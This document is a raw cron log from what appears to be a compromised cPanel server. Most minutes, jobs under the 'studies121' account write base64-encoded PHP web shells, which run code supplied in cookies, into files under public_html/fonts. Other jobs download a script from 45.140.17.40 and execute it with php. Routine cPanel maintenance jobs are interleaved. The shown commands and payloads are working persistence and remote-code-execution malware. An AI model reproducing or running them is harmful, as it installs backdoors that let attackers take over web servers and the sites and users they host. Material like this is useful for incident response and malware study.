Sep  6 09:25:01 ip-184-168-122-23 CROND[16546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:25:01 ip-184-168-122-23 CROND[16542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:25:01 ip-184-168-122-23 CROND[16543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:25:01 ip-184-168-122-23 CROND[16544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:26:01 ip-184-168-122-23 CROND[16630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:26:01 ip-184-168-122-23 CROND[16632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:26:02 ip-184-168-122-23 CROND[16633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:26:02 ip-184-168-122-23 CROND[16634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:26:02 ip-184-168-122-23 CROND[16635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:27:01 ip-184-168-122-23 CROND[16730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:27:01 ip-184-168-122-23 CROND[16733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:27:01 ip-184-168-122-23 CROND[16734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:27:01 ip-184-168-122-23 CROND[16735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:28:01 ip-184-168-122-23 CROND[16850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:28:01 ip-184-168-122-23 CROND[16853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:28:01 ip-184-168-122-23 CROND[16855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:28:01 ip-184-168-122-23 CROND[16854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:28:01 ip-184-168-122-23 CROND[16858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:29:01 ip-184-168-122-23 CROND[17031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:29:01 ip-184-168-122-23 CROND[17033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:29:01 ip-184-168-122-23 CROND[17035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:29:01 ip-184-168-122-23 CROND[17034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:30:01 ip-184-168-122-23 CROND[17140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:30:01 ip-184-168-122-23 CROND[17142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:30:01 ip-184-168-122-23 CROND[17143]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:30:01 ip-184-168-122-23 CROND[17145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:30:01 ip-184-168-122-23 CROND[17144]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:30:01 ip-184-168-122-23 CROND[17149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:30:01 ip-184-168-122-23 CROND[17146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:30:01 ip-184-168-122-23 CROND[17147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:31:01 ip-184-168-122-23 CROND[17243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:31:01 ip-184-168-122-23 CROND[17245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:31:01 ip-184-168-122-23 CROND[17247]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 09:31:01 ip-184-168-122-23 CROND[17246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:31:01 ip-184-168-122-23 CROND[17248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:32:01 ip-184-168-122-23 CROND[17355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:32:01 ip-184-168-122-23 CROND[17354]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:32:01 ip-184-168-122-23 CROND[17358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:32:01 ip-184-168-122-23 CROND[17359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:32:01 ip-184-168-122-23 CROND[17361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:33:01 ip-184-168-122-23 CROND[17467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:33:01 ip-184-168-122-23 CROND[17469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:33:01 ip-184-168-122-23 CROND[17470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:33:01 ip-184-168-122-23 CROND[17471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:34:01 ip-184-168-122-23 CROND[17551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:34:01 ip-184-168-122-23 CROND[17552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:34:01 ip-184-168-122-23 CROND[17557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:34:01 ip-184-168-122-23 CROND[17555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:34:01 ip-184-168-122-23 CROND[17554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:35:01 ip-184-168-122-23 CROND[17648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:35:01 ip-184-168-122-23 CROND[17650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:35:01 ip-184-168-122-23 CROND[17652]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 09:35:01 ip-184-168-122-23 CROND[17654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:35:01 ip-184-168-122-23 CROND[17656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:35:01 ip-184-168-122-23 CROND[17657]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 09:35:01 ip-184-168-122-23 CROND[17653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:35:01 ip-184-168-122-23 CROND[17660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:36:01 ip-184-168-122-23 CROND[17751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:36:01 ip-184-168-122-23 CROND[17752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:36:01 ip-184-168-122-23 CROND[17754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:36:01 ip-184-168-122-23 CROND[17753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:36:01 ip-184-168-122-23 CROND[17750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:37:01 ip-184-168-122-23 CROND[17848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:37:01 ip-184-168-122-23 CROND[17846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
